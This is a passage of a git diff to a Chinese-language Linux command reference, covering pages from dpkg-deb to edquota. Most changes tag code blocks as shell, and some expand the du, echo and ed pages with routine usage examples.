@@ -27,35 +27,34 @@ dpkg-deb(选项)(参数)
-b:创建debian软件包。
```
-### 参数
+### 参数
文件:指定要操作的“.deb”软件包的全名或软件名。
-### 实例
+### 实例
解压程序文件:
-```
+```shell
dpkg-deb -x drcom-pum_1.0-0ubuntu1~ppa1~jaunty1_i386.deb drcom
```
解压控制文件:
-```
+```shell
dpkg-deb -e drcom-pum_1.0-0ubuntu1~ppa1~jaunty1_i386.deb drcom/DEBIAN
```
打包生成deb文件:
-```
+```shell
dpkg-deb -b drcom drcom_1.4.8.2_i386.deb
```
查询deb包中的文件内容:
-```
+```shell
dpkg-deb -c demo.deb
```
-
\ No newline at end of file
diff --git a/command/dpkg-divert.md b/command/dpkg-divert.md
index 3f89f17f4b1..d17dc5d2a42 100644
--- a/command/dpkg-divert.md
+++ b/command/dpkg-divert.md
@@ -1,21 +1,21 @@
dpkg-divert
===
-
+
Debian Linux中创建并管理一个转向列表
## 补充说明
**dpkg-divert命令** 是Debian Linux中创建并管理一个转向(diversion)列表,其使得安装文件的默认位置失效的工具。
-### 语法
+### 语法
-```
+```shell
dpkg-divert(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
--add:添加一个转移文件;
--remove:删除一个转移文件;
--list:列出匹配的转移;
@@ -23,35 +23,34 @@ dpkg-divert(选项)(参数)
--quidet:安静模式。
```
-### 参数
+### 参数
文件:指定转移文件名。
-### 实例
+### 实例
指定软件包wibble安装时,写入`/usr/bin/example.foo`,而不是`/usr/bin/example`:
-```
+```shell
dpkg-divert --package wibble --divert /usr/bin/example.foo --rename /usr/bin/example
```
指定软件包wibble安装时,删除对`/usr/bin/example`的转移修改:
-```
+```shell
dpkg-divert --package wibble --rename --remove /usr/bin/example
```
删除对`/usr/bin/example`的转移修改:
-```
+```shell
dpkg-divert --rename --remove /usr/bin/example
```
添加一个软件包安装时,写入`/usr/bin/example.foo`,而不是`/usr/bin/example`的修改:
-```
+```shell
dpkg-divert --divert /usr/bin/example.foo --rename /usr/bin/example
```
-
\ No newline at end of file
diff --git a/command/dpkg-preconfigure.md b/command/dpkg-preconfigure.md
index faca15f6f00..04946978f1f 100644
--- a/command/dpkg-preconfigure.md
+++ b/command/dpkg-preconfigure.md
@@ -1,37 +1,36 @@
dpkg-preconfigure
===
-
+
Debian Linux中软件包安装之前询问问题
## 补充说明
**dpkg-preconfigure命令** 用于在Debian Linux中软件包安装之前询问问题。
-### 语法
+### 语法
-```
+```shell
dpkg-preconfigure(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-f:选择使用的前端;
-p:感兴趣的最低的优先级问题;
--apt:在apt模式下运行。
```
-### 参数
+### 参数
软件包:指定“.deb”软件包。
-### 实例
+### 实例
导入debconf模板:
-```
+```shell
dpkg-preconfigure /var/cache/apt/archives/mysql-server-5.5*.deb
```
-
\ No newline at end of file
diff --git a/command/dpkg-query.md b/command/dpkg-query.md
index ab2b3a29c4a..33f848d8bfa 100644
--- a/command/dpkg-query.md
+++ b/command/dpkg-query.md
@@ -1,21 +1,21 @@
dpkg-query
===
-
+
Debian Linux中软件包的查询工具
## 补充说明
**dpkg-query命令** 是Debian Linux中软件包的查询工具,它从dpkg软件包数据库中查询并辨识软件包的信息。
-### 语法
+### 语法
-```
+```shell
dpkg-query(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-l:列出符合匹配模式的软件包;
-s:查询软件包的状态信息;
-L:显示软件包所安装的文件列表;
@@ -25,47 +25,46 @@ dpkg-query(选项)(参数)
-p:显示软件包的细节。
```
-### 参数
+### 参数
软件包名称:指定需要查询的软件包。
-### 实例
+### 实例
查找文件file1在哪个包里安装:
-```
+```shell
dpkg-query -S file1
```
列出ubuntu下所安装软件列表:
-```
+```shell
dpkg-query -W --showformat='${Package} ${Version}\n' > filename
```
查看软件包详细信息:
-```
+```shell
dpkg-query -s capistrano
```
查看软件包安装时安装到系统的文件列表:
-```
+```shell
dpkg-query -L capistrano
```
列出所有安装的包:
-```
+```shell
dpkg-query -l
```
查看软件包的确切状态(是否安装)以及版本号:
-```
+```shell
dpkg-query -W -f='${Status} ${Version}\n' apache-perl
```
-
\ No newline at end of file
diff --git a/command/dpkg-reconfigure.md b/command/dpkg-reconfigure.md
index 145887d1459..ad4221b8424 100644
--- a/command/dpkg-reconfigure.md
+++ b/command/dpkg-reconfigure.md
@@ -1,6 +1,6 @@
dpkg-reconfigure
===
-
+
Debian Linux中重新配制一个已经安装的软件包
## 补充说明
@@ -9,15 +9,15 @@ Debian Linux中重新配制一个已经安装的软件包
当用户需要再次对软件包配置的时候,可以使用dpkg-reconfigure命令来对指定的软件包进行配置。
-### 语法
+### 语法
-```
+```shell
dpkg-reconfigure(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-a:重新配置所有的软件包;
-u或--unseen-only:仅显示未提过的问题;
--default-priority:使用默认优先级,而非“低”级;
@@ -26,20 +26,18 @@ dpkg-reconfigure(选项)(参数)
-f或--frontend:指定 debconf 前端界面;
-p或--priority:指定要显示的问题的最优先级;
--terse:开启简要模式。
-
```
-### 参数
+### 参数
软件包名:需要重新配置的已安装的软件包。
-### 实例
+### 实例
用于配置语言:
-```
+```shell
sudo dpkg-reconfigure locales
```
-
\ No newline at end of file
diff --git a/command/dpkg-split.md b/command/dpkg-split.md
index efba15006b7..262e51ec4fe 100644
--- a/command/dpkg-split.md
+++ b/command/dpkg-split.md
@@ -1,21 +1,21 @@
dpkg-split
===
-
+
Debian Linux中将大软件包分割成小包
## 补充说明
**dpkg-split命令** 用来将Debian Linux中的大软件包分割成小软件包,它还能够将已分割的文件进行合并。
-### 语法
+### 语法
-```
+```shell
dpkg-split(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-S:设置分割后的每个小文件最大尺寸(以字节为单位);
-s:分割软件包;
-j<分块文件><分块文件>:把各个分块合并到一起;
@@ -24,23 +24,22 @@ dpkg-split(选项)(参数)
-dscard<文件名>:忽略不匹配的部分。
```
-### 参数
+### 参数
软件包:指定需要分割的“.deb”软件包。
-### 实例
+### 实例
把foo.deb分割出N个大小为460KB的文件:
-```
+```shell
dpkg-split -s foo.deb
```
合并分割文件:
-```
+```shell
dpkg-split -j "foo*"
```
-
\ No newline at end of file
diff --git a/command/dpkg-statoverride.md b/command/dpkg-statoverride.md
index 0407a2ac980..0fcec1f86e7 100644
--- a/command/dpkg-statoverride.md
+++ b/command/dpkg-statoverride.md
@@ -1,46 +1,45 @@
dpkg-statoverride
===
-
+
Debian Linux中覆盖文件的所有权和模式
## 补充说明
**dpkg-statoverride命令** 用于Debian Linux中覆盖文件的所有权和模式,让dpkg于包安装时使得文件所有权与模式失效。
-### 语法
+### 语法
-```
+```shell
dpkg-statoverride(选项)
```
-### 选项
+### 选项
-```
+```shell
-add:为文件添加一个改写;
--remove:为文件删除一个改写;
--list:显示所有改写列表;
--update:如果文件存在,则立刻执行改写操作。
```
-### 实例
+### 实例
修改文件夹的权限属性:
-```
+```shell
sudo dpkg-statoverride --update --add nagios nagios 751 /var/lib/nagios3
```
强制修改文件夹的权限属性:
-```
+```shell
sudo dpkg-statoverride --force --update --add root sasl 755 /var/spool/postfix/var/run/saslauthd
```
将文件从数据库中删除:
-```
+```shell
sudo dpkg-statoverride --remove /usr/bin/wall
```
-
\ No newline at end of file
diff --git a/command/dpkg-trigger.md b/command/dpkg-trigger.md
index a5096d8d737..8ac8054f8e5 100644
--- a/command/dpkg-trigger.md
+++ b/command/dpkg-trigger.md
@@ -1,21 +1,21 @@
dpkg-trigger
===
-
+
Debian Linux下的软件包触发器
## 补充说明
**dpkg-trigger命令** 是Debian Linux下的软件包触发器。
-### 语法
+### 语法
-```
+```shell
dpkg-trigger(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
--check-supported:检查运行的dpkg是否支持触发器,返回值为0,则支持触发器。
--help:显示帮助信息;
--admindir=<目录>:设置dpkg数据库所在的目录;
@@ -23,9 +23,8 @@ dpkg-trigger(选项)(参数)
--by-package=<软件包>:覆盖触发器等待者。
```
-### 参数
+### 参数
触发器名:指定触发器名称。
-
\ No newline at end of file
diff --git a/command/dpkg.md b/command/dpkg.md
index 3261fc00c87..7c65c0ebb09 100644
--- a/command/dpkg.md
+++ b/command/dpkg.md
@@ -1,21 +1,21 @@
dpkg
===
-
+
Debian Linux系统上安装、创建和管理软件包
## 补充说明
**dpkg命令** 是Debian Linux系统用来安装、创建和管理软件包的实用工具。
-### 语法
+### 语法
-```
+```shell
dpkg(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-i:安装软件包;
-r:删除软件包;
-P:删除软件包的同时删除其配置文件;
@@ -26,24 +26,23 @@ dpkg(选项)(参数)
--confiugre:配置软件包。
```
-### 参数
+### 参数
Deb软件包:指定要操作的.deb软件包。
-### 实例
-
-```
-dpkg -i package.deb #安装包
-dpkg -r package #删除包
-dpkg -P package #删除包(包括配置文件)
-dpkg -L package #列出与该包关联的文件
-dpkg -l package #显示该包的版本
-dpkg --unpack package.deb #解开deb包的内容
-dpkg -S keyword #搜索所属的包内容
-dpkg -l #列出当前已安装的包
-dpkg -c package.deb #列出deb包的内容
-dpkg --configure package #配置包
+### 实例
+
+```shell
+dpkg -i package.deb # 安装包
+dpkg -r package # 删除包
+dpkg -P package # 删除包(包括配置文件)
+dpkg -L package # 列出与该包关联的文件
+dpkg -l package # 显示该包的版本
+dpkg --unpack package.deb # 解开deb包的内容
+dpkg -S keyword # 搜索所属的包内容
+dpkg -l # 列出当前已安装的包
+dpkg -c package.deb # 列出deb包的内容
+dpkg --configure package # 配置包
```
-
\ No newline at end of file
diff --git a/command/dris.md b/command/dris.md
index 47adf6da596..530bba5be83 100644
--- a/command/dris.md
+++ b/command/dris.md
@@ -1,25 +1,24 @@
dris
===
-
+
显示和清空目录堆栈中的内容
## 补充说明
**dris命令** 用于显示和清空目录堆栈中的内容。
-### 语法
+### 语法
-```
+```shell
dris(选项)
```
-### 选项
+### 选项
-```
+```shell
+n:显示从左边算起第n笔的目录;
-n:显示从右边算起第n笔的目录;
-l:显示目录完整的记录。
```
-
\ No newline at end of file
diff --git a/command/dstat.md b/command/dstat.md
index 98b100e4d38..7ace67db6bb 100644
--- a/command/dstat.md
+++ b/command/dstat.md
@@ -1,17 +1,17 @@
dstat
===
-
+
通用的系统资源统计工具
## 补充说明
**dstat命令** 是一个用来替换vmstat、iostat、netstat、nfsstat和ifstat这些命令的工具,是一个全能系统信息统计工具。与sysstat相比,dstat拥有一个彩色的界面,在手动观察性能状况时,数据比较显眼容易观察;而且dstat支持即时刷新,譬如输入`dstat 3`即每三秒收集一次,但最新的数据都会每秒刷新显示。和sysstat相同的是,dstat也可以收集指定的性能资源,譬如`dstat -c`即显示CPU的使用情况。
-### 下载安装
+### 下载安装
**方法一**
-```
+```shell
yum install -y dstat
```
@@ -19,18 +19,18 @@ yum install -y dstat
官网下载地址:http://dag.wieers.com/rpm/packages/dstat
-```
+```shell
wget http://dag.wieers.com/rpm/packages/dstat/dstat-0.6.7-1.rh7.rf.noarch.rpm
rpm -ivh dstat-0.6.7-1.rh7.rf.noarch.rpm
```
-### 使用说明
+### 使用说明
安装完后就可以使用了,dstat非常强大,可以实时的监控cpu、磁盘、网络、IO、内存等使用情况。
直接使用dstat,默认使用的是`-cdngy`参数,分别显示cpu、disk、net、page、system信息,默认是1s显示一条信息。可以在最后指定显示一条信息的时间间隔,如`dstat 5`是没5s显示一条,`dstat 5 10`表示没5s显示一条,一共显示10条。
-```
+```shell
[root@iZ23uulau1tZ ~]# dstat
----total-cpu-usage---- -dsk/total- -net/total- ---paging-- ---system--
usr sys idl wai hiq siq| read writ| recv send| in out | int csw
@@ -49,15 +49,15 @@ usr sys idl wai hiq siq| read writ| recv send| in out | int csw
其他的都很好理解。
-### 语法
+### 语法
-```
+```shell
dstat [-afv] [options..] [delay [count]]
```
-### 常用选项
+### 常用选项
-```
+```shell
-c:显示CPU系统占用,用户占用,空闲,等待,中断,软件中断等信息。
-C:当有多个CPU时候,此参数可按需分别显示cpu状态,例:-C 0,1 是显示cpu0和cpu1的信息。
-d:显示磁盘读写数据大小。
@@ -81,11 +81,11 @@ dstat [-afv] [options..] [delay [count]]
当然dstat还有很多更高级的用法,常用的基本这些选项,更高级的用法可以结合man文档。
-### 实例
+### 实例
如想监控swap,process,sockets,filesystem并显示监控的时间:
-```
+```shell
[root@iZ23uulau1tZ ~]# dstat -tsp --socket --fs
----system---- ----swap--- ---procs--- ------sockets------ --filesystem-
date/time | used free|run blk new|tot tcp udp raw frg|files inodes
@@ -99,7 +99,7 @@ dstat [-afv] [options..] [delay [count]]
若要将结果输出到文件可以加`--output filename`:
-```
+```shell
[root@iZ23uulau1tZ ~]# dstat -tsp --socket --fs --output /tmp/ds.csv
----system---- ----swap--- ---procs--- ------sockets------ --filesystem-
date/time | used free|run blk new|tot tcp udp raw frg|files inodes
@@ -117,7 +117,7 @@ dstat [-afv] [options..] [delay [count]]
下面这些插件并不是都可以直接使用的,有的还依赖其他包,如想监控mysql,必须要装python连接mysql的一些包。
-```
+```shell
[root@iZ23uulau1tZ ~]# dstat --list
internal:
aio, cpu, cpu24, disk, disk24, disk24old, epoch, fs, int, int24, io, ipc, load, lock, mem, net, page, page24, proc, raw, socket, swap, swapold, sys, tcp, time, udp, unix, vm
@@ -130,4 +130,3 @@ internal:
dstat命令的基本用法就说到这里,更多用法有待摸索,如果您需要补充内容请给我们发邮件,谢谢!
-
\ No newline at end of file
diff --git a/command/du.md b/command/du.md
index b86d99869b1..7a47fcd0831 100644
--- a/command/du.md
+++ b/command/du.md
@@ -9,99 +9,94 @@ du
### 语法
-```
+```shell
du [选项][文件]
```
### 选项
-```
--a或-all 显示目录中个别文件的大小。
--b或-bytes 显示目录或文件大小时,以byte为单位。
--c或--total 除了显示个别目录或文件的大小外,同时也显示所有目录或文件的总和。
--k或--kilobytes 以KB(1024bytes)为单位输出。
--m或--megabytes 以MB为单位输出。
--s或--summarize 仅显示总计,只列出最后加总的值。
--h或--human-readable 以K,M,G为单位,提高信息的可读性。
--x或--one-file-xystem 以一开始处理时的文件系统为准,若遇上其它不同的文件系统目录则略过。
--L<符号链接>或--dereference<符号链接> 显示选项中所指定符号链接的源文件大小。
--S或--separate-dirs 显示个别目录的大小时,并不含其子目录的大小。
--X<文件>或--exclude-from=<文件> 在<文件>指定目录或文件。
---exclude=<目录或文件> 略过指定的目录或文件。
--D或--dereference-args 显示指定符号链接的源文件大小。
--H或--si 与-h参数相同,但是K,M,G是以1000为换算单位。
--l或--count-links 重复计算硬件链接的文件。
+```shell
+-a, --all 显示目录中个别文件的大小。
+-B, --block-size=大小 使用指定字节数的块
+-b, --bytes 显示目录或文件大小时,以byte为单位。
+-c, --total 除了显示个别目录或文件的大小外,同时也显示所有目录或文件的总和。
+-D, --dereference-args 显示指定符号链接的源文件大小。
+-d, --max-depth=N 限制文件夹深度
+-H, --si 与-h参数相同,但是K,M,G是以1000为换算单位。
+-h, --human-readable 以K,M,G为单位,提高信息的可读性。
+-k, --kilobytes 以KB(1024bytes)为单位输出。
+-l, --count-links 重复计算硬件链接的文件。
+-m, --megabytes 以MB为单位输出。
+-L<符号链接>, --dereference<符号链接> 显示选项中所指定符号链接的源文件大小。
+-P, --no-dereference 不跟随任何符号链接(默认)
+-0, --null 将每个空行视作0 字节而非换行符
+-S, --separate-dirs 显示个别目录的大小时,并不含其子目录的大小。
+-s, --summarize 仅显示总计,只列出最后加总的值。
+-x, --one-file-xystem 以一开始处理时的文件系统为准,若遇上其它不同的文件系统目录则略过。
+-X<文件>, --exclude-from=<文件> 在<文件>指定目录或文件。
+--apparent-size 显示表面用量,而并非是磁盘用量;虽然表面用量通常会小一些,但有时它会因为稀疏文件间的"洞"、内部碎片、非直接引用的块等原因而变大。
+--files0-from=F 计算文件F中以NUL结尾的文件名对应占用的磁盘空间如果F的值是"-",则从标准输入读入文件名
+--exclude=<目录或文件> 略过指定的目录或文件。
+--max-depth=N 显示目录总计(与--all 一起使用计算文件)当N为指定数值时计算深度为N,等于0时等同--summarize
+--si 类似-h,但在计算时使用1000 为基底而非1024
+--time 显示目录或该目录子目录下所有文件的最后修改时间
+--time=WORD 显示WORD时间,而非修改时间:atime,access,use,ctime 或status
+--time-style=样式 按照指定样式显示时间(样式解释规则同"date"命令):full-iso,long-iso,iso,+FORMAT
+--help 显示此帮助信息并退出
+--version 显示版本信息并退出
```
### 实例
-显示目录或者文件所占空间:
-
+文件从大到小排序
```
-root@localhost [test]# du
-608 ./test6
-308 ./test4
-4 ./scf/lib
-4 ./scf/service/deploy/product
-4 ./scf/service/deploy/info
-12 ./scf/service/deploy
-16 ./scf/service
-4 ./scf/doc
-4 ./scf/bin
-32 ./scf
-8 ./test3
-1288 .
+ubuntu@VM-0-14-ubuntu:~/git-work/linux-command$ du -sh * |sort -rh
+2.9M command
+1.9M assets
+148K template
+72K package-lock.json
+52K dist
+28K build
+16K README.md
+4.0K renovate.json
+4.0K package.json
+4.0K LICENSE
```
-只显示当前目录下面的子目录的目录大小和当前目录的总的大小,最下面的1288为当前目录的总大小
-
-显示指定文件所占空间:
+只显示当前目录下子目录的大小。
-```
-[root@localhost test]# du log2012.log
-300 log2012.log
+```shell
+ubuntu@VM-0-14-ubuntu:~/git-work/linux-command$ du -sh ./*/
+1.9M ./assets/
+28K ./build/
+2.9M ./command/
+52K ./dist/
+148K ./template/
```
-查看指定目录的所占空间:
+查看指定目录下文件所占的空间:
-```
-[root@localhost test]# du scf
-4 scf/lib
-4 scf/service/deploy/product
-4 scf/service/deploy/info
-12 scf/service/deploy
-16 scf/service
-4 scf/doc
-4 scf/bin
-32 scf
-```
-
-显示多个文件所占空间:
-
-```
-[root@localhost test]# du log30.tar.gz log31.tar.gz
-4 log30.tar.gz
-4 log31.tar.gz
+```shell
+ubuntu@VM-0-14-ubuntu:~/git-work/linux-command/assets$ du ./*
+144 ./alfred.png
+452 ./chrome-extensions.gif
+4 ./dash-icon.png
+1312 ./Linux.gif
+16 ./qr.png
```
只显示总和的大小:
-```
-[root@localhost test]# du -s
-1288 .
-
-[root@localhost test]# du -s scf
-32 scf
-
-[root@localhost test]# cd ..
-[root@localhost soft]# du -s test
-1288 test
+```shell
+ubuntu@VM-0-14-ubuntu:~/git-work/linux-command/assets$ du -s .
+1932 .
```
显示总和的大小且易读:
+```shell
+ubuntu@VM-0-14-ubuntu:~/git-work/linux-command/assets$ du -sh .
+1.9M .
```
-du -sh $dir
-```
-
\ No newline at end of file
+
diff --git a/command/dump.md b/command/dump.md
index 5c8264b4f9f..7b19e1f5cd6 100644
--- a/command/dump.md
+++ b/command/dump.md
@@ -1,21 +1,21 @@
dump
===
-
+
用于备份ext2或者ext3文件系统
## 补充说明
**dump命令** 用于备份ext2或者ext3文件系统。可将目录或整个文件系统备份至指定的设备,或备份成一个大文件。
-### 语法
+### 语法
-```
+```shell
dump(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-0123456789:备份的层级;
-b<区块大小>:指定区块的大小,单位为KB;
-B<区块数目>:指定备份卷册的区块数目;
@@ -31,25 +31,24 @@ dump(选项)(参数)
-W:显示需要备份的文件及其最后一次备份的层级、时间与日期。
```
-### 参数
+### 参数
备份源:指定要备份的文件、目录或者文件系统。
-### 实例
+### 实例
将`/home`目录所有内容备份到`/tmp/homeback.bak`文件中,备份层级为`0`并在`/etc/dumpdates`中记录相关信息:
-```
+```shell
dump -0u -f /tmp/homeback.bak /home
```
将`/home`目录所有内容备份到`/tmp/homeback.bak`文件中,备份层级为`1`(只备份上次使用层次`0`备份后发生过改变的数据)并在`/etc/dumpdates`中记录相关信息:
-```
+```shell
dump -1u -f /tmp/homeback.bak /home
```
通过dump命令的备份层级,可实现完整+增量备份、完整+差异备份,在配合crontab可以实现无人值守备份。
-
\ No newline at end of file
diff --git a/command/e2fsck.md b/command/e2fsck.md
index 242d8faffc8..603419d3459 100644
--- a/command/e2fsck.md
+++ b/command/e2fsck.md
@@ -1,6 +1,6 @@
e2fsck
===
-
+
用于检查第二扩展文件系统的完整性
## 补充说明
@@ -17,15 +17,15 @@ e2fsck执行后的传回值及代表意义如下:
* 16 使用的语法发生错误。
* 128 共享的函数库发生错误。
-### 语法
+### 语法
-```
+```shell
e2fsck(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-a:不询问使用者意见,便自动修复文件系统;
-b:指定superblock,而不使用预设的superblock;
-B<区块大小>:指定区块的大小,单位为字节;
@@ -47,19 +47,18 @@ e2fsck(选项)(参数)
-y:采取非互动方式执行,所有的问题均设置以"yes"回答。
```
-### 参数
+### 参数
文件系统或者分区:指定文件系统或者分区所对应的设备文件名。
-### 实例
+### 实例
检查`/dev/sda1`是否有问题,如发现问题便自动修复:
-```
+```shell
e2fsck -a -y /dev/sda1
```
执行e2fsck或fsck前请先umount partition,否则有机会令档案系统毁损。如果需要对根目录`/`进行检查及修复,便需要进入singal user mode执行。
-
\ No newline at end of file
diff --git a/command/e2label.md b/command/e2label.md
index 21387c44c60..3970782cfb5 100644
--- a/command/e2label.md
+++ b/command/e2label.md
@@ -1,46 +1,45 @@
e2label
===
-
+
设置第二扩展文件系统的卷标
## 补充说明
**e2label命令** 用来设置第二扩展文件系统的卷标。
-### 语法
+### 语法
-```
+```shell
e2label(参数)
```
-### 参数
+### 参数
* 文件系统:指定文件系统所对应的设备文件名;
* 新卷标:为文件系统指定新卷标。
-### 实例
+### 实例
许多用了多年Linux的人可能也没有用过e2label命令。但是这个命令相当有效。在介绍它之前,我们先看看`/etc/fstab文`件:
-```
+```shell
label=//ext3 defaults 1 1
/dev/hda7 /usr ext3 defaults 1 1
```
第二行的意思很容易懂,就是把`/dev/hda7` mount到`/usr`上。第一行没有指明分区,意思是把label(卷标)为/ 的分区mount到/上。这样写的好处在于即使如果把硬盘从主板上的ide0(hda) 换到ide2(hdc)上,系统仍然可以自动挂载正确的分区。通常Linux安装的时候已经自动指定了卷标。如果是手动增加的新分区,可以用下边的命令为 其指定卷标:
-```
+```shell
e2label /dev/hdax /new
mkdir /new
```
然后在`/etc/fstab`里加入:
-```
+```shell
label=/new /new ext3 defaults 1 1
```
下次重新起动机器的时候,就会把卷标为`/new`的分区挂接到`/new`上。
-
\ No newline at end of file
diff --git a/command/echo.md b/command/echo.md
index 8a6b7c70c35..8707657f447 100644
--- a/command/echo.md
+++ b/command/echo.md
@@ -7,42 +7,68 @@ echo
**echo命令** 用于在shell中打印shell变量的值,或者直接输出指定的字符串。linux的echo命令,在shell编程中极为常用, 在终端下打印变量value的时候也是常常用到的,因此有必要了解下echo的用法echo命令的功能是在显示器上显示一段文字,一般起到一个提示的作用。
-### 语法
+### 语法
-```
+```shell
echo(选项)(参数)
```
-### 选项
+### 选项
-```
--e:激活转义字符。
+```shell
+-e:启用转义字符。
+-E: 不启用转义字符(默认)
+-n: 结尾不换行
```
使用`-e`选项时,若字符串中出现以下字符,则特别加以处理,而不会将它当成一般文字输出:
-* \a 发出警告声;
-* \b 删除前一个字符;
-* \c 不产生进一步输出 (\c 后面的字符不会输出);
-* \f 换行但光标仍旧停留在原来的位置;
-* \n 换行且光标移至行首;
-* \r 光标移至行首,但不换行;
-* \t 插入tab;
-* \v 与\f相同;
-* \\ 插入\字符;
-* \nnn 插入nnn(八进制)所代表的ASCII字符;
+- `\a` 发出警告声;
+- `\b` 删除前一个字符;
+- `\c` 不产生进一步输出 (\c 后面的字符不会输出);
+- `\f` 换行但光标仍旧停留在原来的位置;
+- `\n` 换行且光标移至行首;
+- `\r` 光标移至行首,但不换行;
+- `\t` 插入tab;
+- `\v` 与\f相同;
+- `\\` 插入\字符;
+- `\nnn` 插入 `nnn`(八进制)所代表的ASCII字符;
-### 参数
+### 参数
变量:指定要打印的变量。
-### 实例
+### 实例
-用echo命令打印带有色彩的文字:
+```shell
+/bin/echo Hello, world!
+```
+
+在上面的命令中,两个词(Hello 和 world!)作为单独的参数传递给 echo,并且 echo 按顺序打印它们,用空格分隔
- **文字色:**
+下一个命令产生相同的输出:
+```shell
+/bin/echo 'Hello, World!'
```
+
+但是,与第一个示例不同,上述命令提供了单引号字符串 'Hello, world!' 作为一个单一的一个参数。
+
+单引号将可靠地保护它免受 shell 解释,将特殊字符和转义序列逐字传递给 echo。
+
+例如,在 `bash shell` 中,变量名前面有一个美元符号 ($)。 在下一个命令中,引号内的变量名按字面意思处理; 在引号之外,它被转换为它的值。
+
+```shell
+/bin/echo 'The value of $PATH is' $PATH
+# The value of $PATH is
+# /home/hope/bin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
+```
+
+用echo命令打印带有色彩的文字:
+
+**文字色:**
+
+```shell
echo -e "\e[1;31mThis is red text\e[0m"
This is red text
```
@@ -52,9 +78,20 @@ This is red text
颜色码:重置=0,黑色=30,红色=31,绿色=32,黄色=33,蓝色=34,洋红=35,青色=36,白色=37
+```shell
+echo -e "\x1b[30;1m 0 黑色 \x1b[0m"\
+"\x1b[31;1m 1 红色 \x1b[0m"\
+"\x1b[32;1m 2 绿色 \x1b[0m"\
+"\x1b[33;1m 3 黄色 \x1b[0m"\
+"\x1b[34;1m 4 蓝色 \x1b[0m"\
+"\x1b[35;1m 5 洋红 \x1b[0m"\
+"\x1b[36;1m 6 青色 \x1b[0m"\
+"\x1b[37;1m 7 白色 \x1b[0m"
+```
+
**背景色** :
-```
+```shell
echo -e "\e[1;42mGreed Background\e[0m"
Greed Background
```
@@ -63,12 +100,16 @@ Greed Background
**文字闪动:**
-```
+```shell
echo -e "\033[37;31;5mMySQL Server Stop...\033[39;49;0m"
-
```
红色数字处还有其他数字参数:0 关闭所有属性、1 设置高亮度(加粗)、4 下划线、5 闪烁、7 反显、8 消隐
-
+
+**输出内容结尾不添加换行符**
+
+```shell
+echo -n 'hello'
+```
diff --git a/command/ed.md b/command/ed.md
index 39526b43b11..d775741d12d 100644
--- a/command/ed.md
+++ b/command/ed.md
@@ -1,31 +1,31 @@
ed
===
-
+
单行纯文本编辑器
## 补充说明
**ed命令** 是单行纯文本编辑器,它有命令模式(command mode)和输入模式(input mode)两种工作模式。ed命令支持多个内置命令,常见内置命令如下:
-```
-A:切换到输入模式,在文件的最后一行之后输入新的内容;
-C:切换到输入模式,用输入的内容替换掉最后一行的内容;
-i:切换到输入模式,在当前行之前加入一个新的空行来输入内容;
-d:用于删除最后一行文本内容;
-n:用于显示最后一行的行号和内容;
-w:<文件名>:一给定的文件名保存当前正在编辑的文件;
-q:退出ed编辑器。
-```
-
-### 语法
+### 语法
-```
+```shell
ed(选项)(参数)
```
-### 选项
+### 选项
+```shell
+A # 切换到输入模式,在文件的最后一行之后输入新的内容;
+C # 切换到输入模式,用输入的内容替换掉最后一行的内容;
+i # 切换到输入模式,在当前行之前加入一个新的空行来输入内容;
+d # 用于删除最后一行文本内容;
+n # 用于显示最后一行的行号和内容;
+w # <文件名>:一给定的文件名保存当前正在编辑的文件;
+q # 退出ed编辑器。
```
+
+```shell
-G或——traditional:提供兼容的功能;
-p<字符串>:指定ed在command mode的提示字符;
-s,-,--quiet或——silent:不执行开启文件时的检查功能;
@@ -33,9 +33,8 @@ ed(选项)(参数)
--version:显示版本信息。
```
-### 参数
+### 参数
文件:待编辑的文件。
-
\ No newline at end of file
diff --git a/command/edquota.md b/command/edquota.md
index 7a95dbe4238..0739ac31c7e 100644
--- a/command/edquota.md
+++ b/command/edquota.md
@@ -1,32 +1,32 @@
edquota
===
-
+
用于编辑指定用户或工作组磁盘配额
## 补充说明
**edquota命令** 用于编辑指定用户或工作组磁盘配额。edquota预设会使用vi来编辑使用者或群组的quota设置。
-### 语法
+### 语法
-```
+```shell
edquota(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-u:设置用户的quota,这是预设的参数;
-g:设置群组的quota;
-p<源用户名称>:将源用户的quota设置套用至其他用户或群组;
-t:设置宽限期限。
```
-### 参数
+### 参数
用户:指定要编辑磁盘配额限制的用户名或者工作组。
-### 实例
+### 实例
**配置系统的磁盘配额支持**
@@ -34,26 +34,26 @@ edquota(选项)(参数)
第一步:
-```
+```shell
vi /etc/fstab
```
找到对应于`/home`和`/www`的行,例如:
-```
+```shell
/dev/sda5 /home ext2 defaults 1 2
/dev/sda7 /www ext2 defaults 1 2
```
在`/home`里实现用户级的磁盘配额,所以对sda5行的挂装选项域做如下修改:
-```
+```shell
/dev/sda5 /home ext2 defaults,usrquota 1 2
```
注意,是usrquota哦。类似的,我们可以如下修改`/www`行:
-```
+```shell
/dev/sda7 /www ext2 defaults,grpquota 1 2
```
@@ -61,7 +61,7 @@ vi /etc/fstab
改`/etc/fstab`文件中
-```
+```shell
LABEL=/ / ext2 defaults,usrquota,grpquota 1 1
```
@@ -80,7 +80,7 @@ LABEL=/ / ext2 defaults,usrquota,grpquota 1 1
quotacheck 你的目录
-```
+```shell
example:quotacheck / ; quotacheck /home
```
@@ -99,13 +99,13 @@ example:quotacheck / ; quotacheck /home
使用编辑配额命令edquota为用户配置定额,在重新启动系统之后,我们假设lanf是需要定额的系统帐户,可以使用如下命令来为用户分配磁盘配额:
-```
+```shell
edquota -u lanf
```
这个命令将启动默认文本编辑器(如vi或其他由$EDITOR 环境变量指定的编辑器),其内容如下所示:
-```
+```shell
Quotas for user lanf:
/dev/sda5:blocks in use:0,limits(soft = 0,hard = 0)
inodes in use:0,limits(soft = 0,hard = 0)
@@ -113,7 +113,7 @@ inodes in use:0,limits(soft = 0,hard = 0)
